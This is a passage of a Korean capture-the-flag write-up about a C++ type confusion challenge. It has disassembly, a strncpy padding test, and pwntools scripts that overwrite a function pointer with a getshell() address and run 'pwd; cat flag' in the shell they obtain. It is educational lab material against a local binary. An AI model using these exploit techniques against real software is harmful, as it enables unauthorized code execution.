objdump ๋กœ Apple::yum ๊ณผ Mango::yum ์„ ๋‚˜๋ž€ํžˆ ๋ณธ ํ™”๋ฉด โ€” ํ•œ์ชฝ์€ this+8 ์˜ ์ฃผ์†Œ๋ฅผ, ๋‹ค๋ฅธ ์ชฝ์€ this+8 ์˜ ๊ฐ’์„ ์“ด๋‹ค

๋ช…๋ น ํ•˜๋‚˜ ์ฐจ์ด๋‹ค.

; Apple::yum()
401534:  add  rax, 0x8          ; this+8 ์ด๋ผ๋Š” "์ฃผ์†Œ"
401538:  mov  rsi, rax          ; char* ๋กœ ๋„˜๊ธด๋‹ค
 
; Mango::yum()
4015c8:  mov  rax, QWORD PTR [rax+0x8]   ; this+8 ์— ๋“  "๊ฐ’"
4015cc:  call rax                        ; ๊ทธ ๊ฐ’์œผ๋กœ ์ ํ”„

add ๋ƒ mov [ ] ๋ƒ. ์ฃผ์†Œ๋ฅผ ์“ฐ๋А๋ƒ, ๊ทธ ์ž๋ฆฌ์— ๋“  ๊ฐ’์„ ์“ฐ๋А๋ƒ. ์“ธ ๋•Œ๋Š” Apple ์˜ ๋ˆˆ(์ฃผ์†Œ๋ฅผ ์žก์•„ ๋ฐ”์ดํŠธ๋ฅผ ์ฑ„์šด๋‹ค), ์ฝ์„ ๋•Œ๋Š” Mango ์˜ ๋ˆˆ(๊ฐ’์„ ํ•จ์ˆ˜๋กœ ๋ณธ๋‹ค). ์ด ๋‘ ์‹œ์„ ์ด ํ•œ ๊ฐ์ฒด์—์„œ ๋งŒ๋‚˜๋Š” ๊ฒŒ ํƒ€์ž… ์ปจํ“จ์ „์ด๋‹ค.

Mango ๊ฐ์ฒด ํ•˜๋‚˜์— Base ํฌ์ธํ„ฐ์™€ Apple ํฌ์ธํ„ฐ๊ฐ€ ๋™์‹œ์— ๋ถ™๊ณ , +8 ์นธ์„ ํ•จ์ˆ˜ ํฌ์ธํ„ฐ๋กœ๋„ char ๋ฐฐ์—ด๋กœ๋„ ์ฝ๋Š” ๊ตฌ์กฐ๋ฅผ ๊ทธ๋ฆฐ ๊ทธ๋ฆผ
Mango ๊ฐ์ฒด ํ•˜๋‚˜์— Base ํฌ์ธํ„ฐ์™€ Apple ํฌ์ธํ„ฐ๊ฐ€ ๋™์‹œ์— ๋ถ™๊ณ , +8 ์นธ์„ ํ•จ์ˆ˜ ํฌ์ธํ„ฐ๋กœ๋„ char ๋ฐฐ์—ด๋กœ๋„ ์ฝ๋Š” ๊ตฌ์กฐ๋ฅผ ๊ทธ๋ฆฐ ๊ทธ๋ฆผ

๊ฒฝ๊ณ„๋ฅผ ๋„˜์€ ๋ฐ”์ดํŠธ๋Š” ํ•˜๋‚˜๋„ ์—†๋‹ค. strncpy ๋Š” ์ž๊ธฐ๊ฐ€ ๋ฐ›์€ 8๋ฐ”์ดํŠธ ๋ฒ„ํผ์— ์ •ํ™•ํžˆ 8๋ฐ”์ดํŠธ๋งŒ ์“ด๋‹ค. ๋ฒ„๊ทธ๋Š” "์–ผ๋งˆ๋‚˜ ์ผ๋‚˜"๊ฐ€ ์•„๋‹ˆ๋ผ "๋ฌด์—‡์—๋‹ค ์ผ๋‚˜"์— ์žˆ๋‹ค. ๊ทธ๋ž˜์„œ canary ๋„, NX ๋„, RELRO ๋„ ์ด ๊ณต๊ฒฉ์„ ๋ชป ๋ง‰๋Š”๋‹ค. ์…‹ ๋‹ค ๋‹ค๋ฅธ ์ข…๋ฅ˜์˜ ์‚ฌ๊ณ ๋ฅผ ๋ง‰๋Š” ์žฅ์น˜๋‹ค.


๐ŸŽฏ ์ œ์•ฝ ์„ธ ๊ฐ€์ง€ โ€” ๋ฌด์—‡์„ ์“ธ ์ˆ˜ ์žˆ๋‚˜

๋ชฉ์ ์ง€๋Š” getshell() = 0x400fa6 ๋กœ ์ •ํ•ด์กŒ๋‹ค. ์ด์ œ ๊ทธ 8๋ฐ”์ดํŠธ๋ฅผ ์‹ค์ œ๋กœ ๊ทธ ๊ฐ’์œผ๋กœ ๋งŒ๋“ค ์ˆ˜ ์žˆ๋Š”์ง€ ํ™•์ธํ•  ์ฐจ๋ก€๋‹ค. ์ œ์•ฝ์ด ์„ธ ๊ฐœ ์žˆ๋‹ค.

1. ๊ด€๋ฌธ โ€” Apple ๊ณผ Mango ๊ฐ€ ๋‘˜ ๋‹ค ์žˆ์–ด์•ผ ํ•œ๋‹ค

3๋ฒˆ ๋ฉ”๋‰ด๋Š” if(appleflag && mangoflag) ๋กœ ๋ง‰ํ˜€ ์žˆ๋‹ค. ๋‘ ํ”Œ๋ž˜๊ทธ๋Š” ๊ฐ ์ƒ์„ฑ์ž์—์„œ 1 ์ด ๋˜๊ณ  ์†Œ๋ฉธ์ž์—์„œ 0 ์ด ๋œ๋‹ค. ์ฆ‰ Apple ์„ ํ•œ ๋ฒˆ ๋งŒ๋“ค์–ด ๋‘์ง€ ์•Š์œผ๋ฉด 3๋ฒˆ์ด ์•„์˜ˆ ์•ˆ ์—ด๋ฆฐ๋‹ค.

Apple ๊ฐ์ฒด ์ž์ฒด๋Š” ๊ณต๊ฒฉ์— ์“ฐ์ด์ง€ ์•Š๋Š”๋‹ค. ๊ด€๋ฌธ์„ ์—ฌ๋Š” ์šฉ๋„๋กœ๋งŒ ํ•„์š”ํ•˜๋‹ค.

2. std::cin >> ๋Š” ๊ณต๋ฐฑ์—์„œ ๋Š๊ธด๋‹ค

์ด๋ฆ„์€ std::cin >> applemangoname ์œผ๋กœ ๋ฐ›๋Š”๋‹ค. operator>> ๋Š” ์•ž์ชฝ ๊ณต๋ฐฑ์„ ๊ฑด๋„ˆ๋›ฐ๊ณ , ๋‹ค์Œ ๊ณต๋ฐฑ์„ ๋งŒ๋‚˜๋Š” ์ˆœ๊ฐ„ ์ฝ๊ธฐ๋ฅผ ๋ฉˆ์ถ˜๋‹ค. ์—ฌ๊ธฐ์„œ ๊ณต๋ฐฑ์€ ์ŠคํŽ˜์ด์Šค(0x20)์™€ 0x09~0x0d ๋‹ค.

์šฐ๋ฆฌ๊ฐ€ ๋„ฃ์„ ๋ฐ”์ดํŠธ๋Š” a6 0f 40 ์ด๋‹ค. 0x0f ๋Š” 0x09~0x0d ๋ฒ”์œ„ ๋ฐ–์ด๊ณ  ๋‚˜๋จธ์ง€๋„ ์•ˆ์ „ํ•˜๋‹ค. ์šด์ด ์ข‹์•˜๋‹ค โ€” getshell ์ด 0x400f20 ๊ฐ™์€ ์ฃผ์†Œ์˜€๋‹ค๋ฉด ์ŠคํŽ˜์ด์Šค๊ฐ€ ๋ผ์–ด ์ด ๊ฒฝ๋กœ๊ฐ€ ๋ง‰ํ˜”์„ ๊ฒƒ์ด๋‹ค.

3. strncpy ์˜ NUL ํŒจ๋”ฉ์ด ๋‚˜๋จธ์ง€ 5๋ฐ”์ดํŠธ๋ฅผ ์ฑ„์šด๋‹ค

์ฃผ์†Œ๋Š” 8๋ฐ”์ดํŠธ์ธ๋ฐ ์˜๋ฏธ ์žˆ๋Š” ๊ฐ’์€ 3๋ฐ”์ดํŠธ๋ฟ์ด๋‹ค. ๋‚˜๋จธ์ง€ 5๋ฐ”์ดํŠธ๋ฅผ 0 ์œผ๋กœ ๋งŒ๋“ค์–ด์•ผ 0x0000000000400fa6 ์ด ๋œ๋‹ค. NUL ๋ฐ”์ดํŠธ๋Š” ํ‚ค๋ณด๋“œ๋กœ ๋ชป ๋„ฃ๋Š”๋‹ค.

๊ทธ๋Ÿด ํ•„์š”๊ฐ€ ์—†๋‹ค. strncpy(dst, src, n) ์€ ์†Œ์Šค๊ฐ€ n ๋ณด๋‹ค ์งง์œผ๋ฉด ๋‚จ์€ ์ž๋ฆฌ๋ฅผ ์ „๋ถ€ \0 ์œผ๋กœ ์ฑ„์šด๋‹ค. strcpy ์™€ ๋‹ค๋ฅธ ์ ์ด์ž, ํ”ํžˆ "์•ˆ์ „ํ•œ ๋ฒ„์ „"์œผ๋กœ ์˜คํ•ด๋ฐ›๋Š” ์ง€์ ์ด๋‹ค. ์—ฌ๊ธฐ์„œ๋Š” ๊ทธ ํŒจ๋”ฉ์ด ๊ณต๊ฒฉ์ž ํŽธ์— ์„ ๋‹ค.

๋ง๋กœ ๋๋‚ด์ง€ ๋ง๊ณ  ํ™•์ธํ•œ๋‹ค.

// pad_check.c โ€” strncpy ๊ฐ€ ๋‚จ๋Š” ์ž๋ฆฌ๋ฅผ ์ •๋ง 0 ์œผ๋กœ ์ฑ„์šฐ๋Š”์ง€ ๋ˆˆ์œผ๋กœ ๋ณธ๋‹ค.
//   gcc -o pad_check pad_check.c && ./pad_check
#include <stdio.h>
#include <string.h>
 
int main(void) {
    unsigned char buf[8];
    memset(buf, 0xff, sizeof buf);            // ์ผ๋ถ€๋Ÿฌ ์“ฐ๋ ˆ๊ธฐ๋ฅผ ๊น”์•„ ๋‘๊ณ 
    strncpy((char *)buf, "\xa6\x0f\x40", 8);  // 3๋ฐ”์ดํŠธ์งœ๋ฆฌ ์†Œ์Šค๋ฅผ n=8 ๋กœ ๋ณต์‚ฌ
 
    printf("buf =");
    for (int i = 0; i < 8; i++) printf(" %02x", buf[i]);
    printf("\nํ•จ์ˆ˜ ํฌ์ธํ„ฐ๋กœ ์ฝ์œผ๋ฉด %p\n", *(void **)buf);
    return 0;
}
gcc -o pad_check pad_check.c && ./pad_check
pad_check ์‹คํ–‰ ๊ฒฐ๊ณผ โ€” 0xff ๋กœ ์ฑ„์›Œ ๋‘” 8๋ฐ”์ดํŠธ๊ฐ€ a6 0f 40 ๋‹ค์Œ ์ „๋ถ€ 00 ์œผ๋กœ ๋ฎ์ด๊ณ  ํฌ์ธํ„ฐ๋กœ ์ฝ์œผ๋ฉด 0x400fa6 ์ด ๋œ๋‹ค
pad_check ์‹คํ–‰ ๊ฒฐ๊ณผ โ€” 0xff ๋กœ ์ฑ„์›Œ ๋‘” 8๋ฐ”์ดํŠธ๊ฐ€ a6 0f 40 ๋‹ค์Œ ์ „๋ถ€ 00 ์œผ๋กœ ๋ฎ์ด๊ณ  ํฌ์ธํ„ฐ๋กœ ์ฝ์œผ๋ฉด 0x400fa6 ์ด ๋œ๋‹ค

0xff ๋กœ ๋ฏธ๋ฆฌ ๋”๋Ÿฝํ˜€ ๋‘” ์ž๋ฆฌ๊ฐ€ ๊นจ๋—ํ•˜๊ฒŒ 0 ์ด ๋๋‹ค. 3๋ฐ”์ดํŠธ๋งŒ ๋ณด๋‚ด๋ฉด ํฌ์ธํ„ฐ 8๋ฐ”์ดํŠธ๊ฐ€ ์ •ํ™•ํžˆ ์™„์„ฑ๋œ๋‹ค.

์ง์ ‘ ์ฐ”๋Ÿฌ ๋ณด๊ธฐ

์„ธ ์ œ์•ฝ๊ณผ ๋ช‡ ๊ฐ€์ง€ ๊ถ๊ธˆํ•œ ์ ์„ ํ•œ ๋ฒˆ์— ํ™•์ธํ•˜๋Š” ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์งฐ๋‹ค.

#!/usr/bin/env python3
# probe.py โ€” 3๋ฒˆ(Mix) ์ด ์—ด๋ฆฌ๋Š” ์กฐ๊ฑด๊ณผ ์ด๋ฆ„ ์นธ์˜ ์ œ์•ฝ์„ ํ•˜๋‚˜์”ฉ ์ฐ”๋Ÿฌ ๋ณธ๋‹ค.
from pwn import context, process
 
context.log_level = "error"
HERE = __file__.rsplit("/", 1)[0]
BIN = (HERE + "/extracted/cpp_type_confusion").encode()
CWD = HERE + "/extracted"
 
# ๋ฉ”๋‰ด๊ฐ€ ๋งค ๋ฃจํ”„ ๋‹ค์‹œ ์ฐํ˜€์„œ ์‹œ๋„๋Ÿฌ์šฐ๋‹ˆ ๊ฒฐ๊ณผ ์ค„๋งŒ ๋‚จ๊ธด๋‹ค
NOISE = ("I love Applemango", "1. Make apple", "2. Make mango",
         "3. Mix apple, mango", "4. Eat", "5. Exit program")
 
 
def run(label, script, feed=b""):
    """script = [(๋ณด๋‚ผ ๊ฒƒ, ๊ธฐ๋‹ค๋ฆด ํ”„๋กฌํ”„ํŠธ), ...] ๋ฅผ ์ˆœ์„œ๋Œ€๋กœ ํ˜๋ ค๋ณด๋‚ธ๋‹ค."""
    p = process(BIN, cwd=CWD)
    buf, died = "", False
    try:
        for data, prompt in script:
            buf += p.recvuntil(prompt.encode(), timeout=2).decode(errors="replace")
            p.send(data)
        if feed:
            p.send(feed)
    except EOFError:
        died = True                      # ํ”„๋กœ๊ทธ๋žจ์ด ๋จผ์ € ๋๋‚˜ ๋ฒ„๋ฆฐ ๊ฒฝ์šฐ
    buf += p.recvrepeat(1.0).decode(errors="replace")
    p.close()
 
    lines = [l for l in buf.splitlines() if l.strip() and not l.startswith(NOISE)]
    print(f"[{label}]")
    for l in lines[-3:]:
        print("   ", l)
    if died:
        print("     ^ ํ”„๋กœ๊ทธ๋žจ์ด ์ž…๋ ฅ ๋„์ค‘ ์Šค์Šค๋กœ ์ข…๋ฃŒํ–ˆ๋‹ค")
    print()
 
 
SEL = "[*] Select : "
 
run("A. ์•„๋ฌด๊ฒƒ๋„ ์—†์ด 3๋ฒˆ", [(b"3\n", SEL)])
run("B. Apple ๋งŒ ๋งŒ๋“ค๊ณ  3๋ฒˆ", [(b"1\n", SEL), (b"3\n", SEL)])
run("C. Mango ๋งŒ ๋งŒ๋“ค๊ณ  3๋ฒˆ", [(b"2\n", SEL), (b"3\n", SEL)])
run("D. 1,2,3 ์ˆœ์„œ๋กœ ๊ฐ€๋ฉด ์ด๋ฆ„ ์นธ์ด ์—ด๋ฆฐ๋‹ค",
    [(b"1\n", SEL), (b"2\n", SEL), (b"3\n", SEL)])
run("E. ์ด๋ฆ„์— ๊ณต๋ฐฑ์„ ์„ž์œผ๋ฉด (AAAA BBBB)",
    [(b"1\n", SEL), (b"2\n", SEL), (b"3\n", SEL),
     (b"AAAA BBBB\n", "Applemango name: "), (b"4\n", SEL), (b"2\n", SEL)])
run("F. getshell ์ฃผ์†Œ๋ฅผ ๋„ฃ๊ณ  4-3(Applemango) ์œผ๋กœ ํ˜ธ์ถœ",
    [(b"1\n", SEL), (b"2\n", SEL), (b"3\n", SEL),
     (b"\xa6\x0f\x40\n", "Applemango name: "), (b"4\n", SEL), (b"3\n", SEL)],
    feed="echo '     -> ์…ธ์ด ๋–ด๋‹ค (4-3 ๋„ Mango::yum ์œผ๋กœ ๊ฐ„๋‹ค)'; exit\n".encode())
python3 probe.py
probe.py ์‹คํ–‰ ๊ฒฐ๊ณผ โ€” ๊ด€๋ฌธ ์กฐ๊ฑด A/B/C, ์ •์ƒ ๊ฒฝ๋กœ D, ๊ณต๋ฐฑ์„ ์„ž์œผ๋ฉด ํ”„๋กœ๊ทธ๋žจ์ด ์กฐ์šฉํžˆ ๋๋‚˜๋Š” E, 4-3 ์œผ๋กœ๋„ ์…ธ์ด ๋œจ๋Š” F
probe.py ์‹คํ–‰ ๊ฒฐ๊ณผ โ€” ๊ด€๋ฌธ ์กฐ๊ฑด A/B/C, ์ •์ƒ ๊ฒฝ๋กœ D, ๊ณต๋ฐฑ์„ ์„ž์œผ๋ฉด ํ”„๋กœ๊ทธ๋žจ์ด ์กฐ์šฉํžˆ ๋๋‚˜๋Š” E, 4-3 ์œผ๋กœ๋„ ์…ธ์ด ๋œจ๋Š” F

AยทBยทC ๊ฐ€ ๊ด€๋ฌธ์„ ํ™•์ธํ•ด ์ค€๋‹ค. ์•„๋ฌด๊ฒƒ๋„ ์—†์œผ๋ฉด You don't have anything!, ํ•œ์ชฝ๋งŒ ์žˆ์œผ๋ฉด ์—†๋Š” ์ชฝ์„ ์ •ํ™•ํžˆ ์งš์–ด ์ค€๋‹ค.

F ๊ฐ€ ์žฌ๋ฏธ์žˆ๋‹ค. 4๋ฒˆ ๋ฉ”๋‰ด์˜ 3๋ฒˆ(Applemango) ์„ ๊ณจ๋ผ๋„ ์…ธ์ด ๋œฌ๋‹ค. mixer ๋Š” Apple* ์ด๋‹ˆ mixer->yum() ์€ Apple::yum() ์„ ๋ถ€๋ฅผ ๊ฒƒ ๊ฐ™์ง€๋งŒ, yum() ์€ ๊ฐ€์ƒ ํ•จ์ˆ˜๋ผ ๋ชฉ์ ์ง€๋Š” ํฌ์ธํ„ฐ ํƒ€์ž…์ด ์•„๋‹ˆ๋ผ ๊ฐ์ฒด ์•ˆ vptr ์ด ์ •ํ•œ๋‹ค. ๊ทธ ๊ฐ์ฒด๋Š” new Mango() ๋กœ ๋งŒ๋“ค์—ˆ์œผ๋‹ˆ vptr ์€ Mango ์˜ vtable ์„ ๊ฐ€๋ฆฌํ‚ค๊ณ , ๊ฒฐ๊ตญ Mango::yum() ์œผ๋กœ ๊ฐ„๋‹ค.

์ฆ‰ 4-2 ๋“  4-3 ์ด๋“  ๊ฐ™์€ ๊ณณ์œผ๋กœ ๋–จ์–ด์ง„๋‹ค. ์•ž์˜ vtable ๋คํ”„์—์„œ ๋ณธ ๊ตฌ์กฐ๊ฐ€ ๊ทธ๋Œ€๋กœ ์‹คํ–‰์— ๋ฐ˜์˜๋œ ์…ˆ์ด๋‹ค.

E ๋Š” ์˜ˆ์ƒ ๋ฐ–์ด๋ผ ๋”ฐ๋กœ ํŒŒ ๋ดค๋‹ค. ์•„๋ž˜ ์‚ฝ์งˆ ์ ˆ์— ์ ์—ˆ๋‹ค.



๐Ÿ› ์‚ฝ์งˆ

โ–ถ๐Ÿ•ณ๏ธ ์‚ฝ์งˆ 1 โ€” ์…ธ์€ ์žก์•˜๋Š”๋ฐ flag ๊ฐ€ ์—†๋‹ค

๋กœ์ปฌ ๊ฒ€์ฆ๋ถ€ํ„ฐ ํ•˜๋ ค๊ณ  exploit ์„ ๋Œ๋ ธ๋Š”๋ฐ, ์…ธ์€ ๋ถ„๋ช…ํžˆ ๋–ด๋Š”๋ฐ cat flag ๊ฐ€ ๋นˆ์†์ด์—ˆ๋‹ค. ์ฒ˜์Œ์—” ์ต์Šค๊ฐ€ ๋ฐ˜์ฏค๋งŒ ๋จน์€ ์ค„ ์•Œ์•˜๋‹ค.

์›์ธ์€ ํ›จ์”ฌ ์‹œ์‹œํ–ˆ๋‹ค. pwntools process() ์— cwd ๋ฅผ ์•ˆ ๋„˜๊ฒจ์„œ, ์…ธ์˜ ์ž‘์—… ๋””๋ ‰ํ† ๋ฆฌ๊ฐ€ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์žˆ๋Š” ํด๋”์˜€๋‹ค. ๋”๋ฏธ flag ๋Š” ๋ฐ”์ด๋„ˆ๋ฆฌ ์˜†(extracted/)์— ๋งŒ๋“ค์–ด ๋’€์œผ๋‹ˆ ๋‹น์—ฐํžˆ ์•ˆ ๋ณด์ธ๋‹ค.

๊ทธ๋•Œ ์งฐ๋˜ ๋ฒ„์ „์„ ๊ทธ๋Œ€๋กœ ๋‚จ๊ฒจ ๋’€๋‹ค.

#!/usr/bin/env python3
# sapjil_cwd.py โ€” ์ฒ˜์Œ์— ์งฐ๋˜ ๋ฒ„์ „. process() ์— cwd ๋ฅผ ์•ˆ ์คฌ๋‹ค.
# ์ต์Šค๋Š” ๋ฉ€์ฉกํžˆ ์…ธ์„ ์žก๋Š”๋ฐ, ๊ทธ ์…ธ์˜ ์ž‘์—… ๋””๋ ‰ํ† ๋ฆฌ๊ฐ€ ์ด ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์žˆ๋Š” ํด๋”๋ผ
# flag ํŒŒ์ผ(extracted/flag)์„ ๋ชป ์ฐพ๋Š”๋‹ค.
from pwn import context, p64, process
 
context.log_level = "error"
HERE = __file__.rsplit("/", 1)[0]
BIN = (HERE + "/extracted/cpp_type_confusion").encode()
 
p = process(BIN)                       # <- cwd= ๋ฅผ ์•ˆ ๋„˜๊ฒผ๋‹ค
for c in (b"1\n", b"2\n", b"3\n"):
    p.sendlineafter(b"[*] Select : ", c.strip())
p.sendafter(b"Applemango name: ", p64(0x400FA6).rstrip(b"\x00") + b"\n")
p.sendlineafter(b"[*] Select : ", b"4")
p.sendlineafter(b"[*] Select : ", b"2")
 
p.sendline(b"pwd; cat flag")
print(p.recvrepeat(2).decode(errors="replace").strip())
p.close()
python3 sapjil_cwd.py
sapjil_cwd.py ์‹คํ–‰ ๊ฒฐ๊ณผ โ€” ์…ธ์˜ pwd ๊ฐ€ ๋ฌธ์ œ ํด๋” ์ตœ์ƒ์œ„๋กœ ์ฐํžˆ๊ณ  cat flag ๋Š” ํŒŒ์ผ์ด ์—†๋‹ค๊ณ  ๋‹ตํ•œ๋‹ค
sapjil_cwd.py ์‹คํ–‰ ๊ฒฐ๊ณผ โ€” ์…ธ์˜ pwd ๊ฐ€ ๋ฌธ์ œ ํด๋” ์ตœ์ƒ์œ„๋กœ ์ฐํžˆ๊ณ  cat flag ๋Š” ํŒŒ์ผ์ด ์—†๋‹ค๊ณ  ๋‹ตํ•œ๋‹ค

pwd ๋ฅผ ๊ฐ™์ด ์ฐ์–ด ๋ณด๋‹ˆ ํ•œ ๋ฐฉ์— ๋“œ๋Ÿฌ๋‚ฌ๋‹ค. ์…ธ์€ ์ •์ƒ์ด์—ˆ๊ณ  ์œ„์น˜๋งŒ ํ‹€๋ ธ๋‹ค.

๊ตํ›ˆ์ด๋ผ๋ฉด, "์…ธ์„ ๋ชป ์žก์•˜๋‹ค"์™€ "์…ธ์€ ์žก์•˜๋Š”๋ฐ ํŒŒ์ผ์ด ์—†๋‹ค"๋ฅผ ๊ตฌ๋ถ„ํ•˜๋Š” ํ•œ ์ค„(id ๋“  pwd ๋“ )์„ ์ต์Šค์— ๋Š˜ ๋„ฃ์–ด ๋‘๋Š” ๊ฒŒ ๋‚ซ๋‹ค๋Š” ๊ฒƒ. ์ตœ์ข… solve.py ์—๋„ id ๋ฅผ ๋‚จ๊ฒจ ๋’€๋‹ค. ์›๊ฒฉ์—์„œ uid=1000(cpp_type_confusion) ์ด ์ฐํžˆ๋ฉด ๊ทธ๊ฒƒ๋งŒ์œผ๋กœ ์…ธ์ด ํ™•์‹คํ•˜๋‹ค.

โ–ถ๐Ÿ•ณ๏ธ ์‚ฝ์งˆ 2 โ€” ๋ฐฐํฌ zip ์€ ์‹คํ–‰ ๊ถŒํ•œ์„ ์•ˆ ์‚ด๋ฆฐ๋‹ค

๊ทธ๋ณด๋‹ค ์•ž์„œ, ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์ฒ˜์Œ ๋Œ๋ฆด ๋•Œ๋ถ€ํ„ฐ ๋ง‰ํ˜”๋‹ค. ๋‹ค์šด๋กœ๋“œํ•ด ํ’€์–ด ๋†“์€ ํŒŒ์ผ์— ์‹คํ–‰ ๋น„ํŠธ๊ฐ€ ์—†๋‹ค.

ls -l cpp_type_confusion; ./cpp_type_confusion
์‹คํ–‰ ๊ถŒํ•œ์ด ์—†๋Š” ์ƒํƒœ์—์„œ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์‹คํ–‰ํ•œ ํ™”๋ฉด โ€” ๋ชจ๋“œ๊ฐ€ rw-rw-r-- ์ด๊ณ  ์…ธ์ด ํ—ˆ๊ฐ€ ๊ฑฐ๋ถ€๋กœ ๋˜๋Œ์•„์˜จ๋‹ค
์‹คํ–‰ ๊ถŒํ•œ์ด ์—†๋Š” ์ƒํƒœ์—์„œ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์‹คํ–‰ํ•œ ํ™”๋ฉด โ€” ๋ชจ๋“œ๊ฐ€ rw-rw-r-- ์ด๊ณ  ์…ธ์ด ํ—ˆ๊ฐ€ ๊ฑฐ๋ถ€๋กœ ๋˜๋Œ์•„์˜จ๋‹ค

chmod +x ํ•œ ์ค„์ด๋ฉด ๋๋‚˜๋Š” ์ผ์ธ๋ฐ, ์ฒ˜์Œ ๋ณธ ์—๋Ÿฌ๊ฐ€ timeout: failed to execute process: Permission denied ๋ผ์„œ ์ž ๊น ์—‰๋šฑํ•œ ๋ฐ๋ฅผ ๋ดค๋‹ค. timeout ์„ ์•ž์— ๋ถ™์—ฌ ๋Œ๋ฆฌ๊ณ  ์žˆ์—ˆ๋”๋‹ˆ ์—๋Ÿฌ ๋ฌธ๊ตฌ์˜ ์ฃผ์–ด๊ฐ€ timeout ์ด ๋ผ ๋ฒ„๋ ค์„œ, ๋ฐ”์ด๋„ˆ๋ฆฌ๊ฐ€ ์•„๋‹ˆ๋ผ ์‹คํ–‰ ๋ฐฉ์‹์ด ์ž˜๋ชป๋œ ์ค„ ์•Œ์•˜๋‹ค.

๊ทธ๋ž˜์„œ reproduce.sh ์ฒซ๋จธ๋ฆฌ์— chmod +x ๋ฅผ ๋ฐ•์•„ ๋’€๋‹ค. ๋‚˜์ค‘์— ๋ฐฑ์—…์—์„œ ๊บผ๋‚ด ๋Œ๋ฆด ๋•Œ ๊ฐ™์€ ๋ฐ์„œ ๋˜ ๋ฉˆ์ถ”์ง€ ์•Š๊ฒŒ.

โ–ถ๐Ÿ•ณ๏ธ ์‚ฝ์งˆ 3 โ€” ์ด๋ฆ„์— ๊ณต๋ฐฑ์„ ์„ž์œผ๋ฉด ํ”„๋กœ๊ทธ๋žจ์ด ์กฐ์šฉํžˆ ๋๋‚œ๋‹ค

std::cin >> ๊ฐ€ ๊ณต๋ฐฑ์—์„œ ๋Š๊ธด๋‹ค๋Š” ๊ฑด ์•Œ๊ณ  ์žˆ์—ˆ์ง€๋งŒ, ๋Š๊ธด ๋’ค์— ๋ฌด์Šจ ์ผ์ด ๋ฒŒ์–ด์ง€๋Š”์ง€๋Š” ์˜ˆ์ƒ๊ณผ ๋‹ฌ๋ž๋‹ค.

AAAA BBBB ๋ฅผ ๋„ฃ์œผ๋ฉด ์ด๋ฆ„์œผ๋กœ๋Š” AAAA ๋งŒ ๋“ค์–ด๊ฐ„๋‹ค. ์—ฌ๊ธฐ๊นŒ์ง„ ์˜ˆ์ƒ๋Œ€๋กœ๋‹ค. ๋ฌธ์ œ๋Š” ์ŠคํŠธ๋ฆผ์— ๋‚จ์€ BBBB ๋‹ค. ๋ฉ”๋‰ด ๋ฃจํ”„๋กœ ๋Œ์•„๊ฐ€๋ฉด std::cin >> selector ๊ฐ€ ๊ทธ๊ฑธ ์ •์ˆ˜๋กœ ์ฝ์œผ๋ ค๋‹ค ์‹คํŒจํ•˜๊ณ  failbit ์ด ์„ ๋‹ค. ๊ทธ ๋’ค๋กœ๋Š” ๋ชจ๋“  ์ž…๋ ฅ์ด ์ฆ‰์‹œ ์‹คํŒจํ•œ๋‹ค.

C++11 ์ดํ›„ ํ‘œ์ค€์€ ํŒŒ์‹ฑ์— ์‹คํŒจํ•˜๋ฉด ๋Œ€์ƒ ๋ณ€์ˆ˜์— 0 ์„ ๋„ฃ๊ฒŒ ๋ผ ์žˆ๋‹ค. selector ๊ฐ€ 0 ์ด ๋˜๋‹ˆ switch ์˜ default: ๋กœ ๋น ์ง€๊ณ , ๊ฑฐ๊ธฐ return 0 ์ด ์žˆ๋‹ค.

default:
    return 0;

๊ทธ๋ž˜์„œ ํ”„๋กœ๊ทธ๋žจ์ด ์—๋Ÿฌ ํ•œ ์ค„ ์—†์ด ๊ทธ๋ƒฅ ๋๋‚œ๋‹ค. ์œ„ probe ์ถœ๋ ฅ์˜ E ํ•ญ๋ชฉ์ด ๊ทธ ์žฅ๋ฉด์ด๋‹ค โ€” Applemango Created! ๊นŒ์ง€ ์ฐ๊ณ , ๋‹ค์Œ ํ”„๋กฌํ”„ํŠธ์—์„œ ์•„๋ฌด ๋ฐ˜์‘ ์—†์ด ์ข…๋ฃŒ๋œ๋‹ค.

๋ง๋ถ™์ด๋ฉด, ๊ฐ™์€ "์ถ”์ถœ ์‹คํŒจ"๋ผ๋„ ์ž…๋ ฅ์ด ์•„์˜ˆ ์—†์–ด์„œ(EOF) ์‹คํŒจํ•˜๋ฉด ๊ฒฐ๊ณผ๊ฐ€ ๋‹ค๋ฅด๋‹ค. ๊ทธ๋•Œ๋Š” sentry ๋‹จ๊ณ„์—์„œ ๊ฑธ๋ ค ํŒŒ์‹ฑ ์ž์ฒด๋ฅผ ์‹œ๋„ํ•˜์ง€ ์•Š์œผ๋ฏ€๋กœ ๋ณ€์ˆ˜ ๊ฐ’์ด ๊ทธ๋Œ€๋กœ ๋‚จ๋Š”๋‹ค. ์…ธ์—์„œ ๋น ์ ธ๋‚˜์˜จ ๋’ค stdin ์ด EOF ์ธ ์ฑ„๋กœ ๋ฉ”๋‰ด ๋ฃจํ”„์— ๋Œ์•„๊ฐ€๋ฉด selector ๊ฐ€ ์ง์ „ ๊ฐ’ 2 ๊ทธ๋Œ€๋กœ๋ผ case 2 ๊ฐ€ ๋ฌดํ•œํžˆ ๋ˆ๋‹ค โ€” ์ต์Šค๋ฅผ ํŒŒ์ดํ”„๋กœ ๋จน์ด๊ณ  ๋‚˜๋ฉด ํ™”๋ฉด์ด Mango Created! ๋กœ ๋„๋ฐฐ๋˜๋Š” ๊ฒŒ ๊ทธ๋ž˜์„œ๋‹ค. ์ต์Šค๊ฐ€ ์„ฑ๊ณตํ–ˆ๋Š”๋ฐ๋„ ์ถœ๋ ฅ์ด ํญ์ฃผํ•˜๋ฉด ์ด๊ฑธ ์˜์‹ฌํ•˜๋ฉด ๋œ๋‹ค.

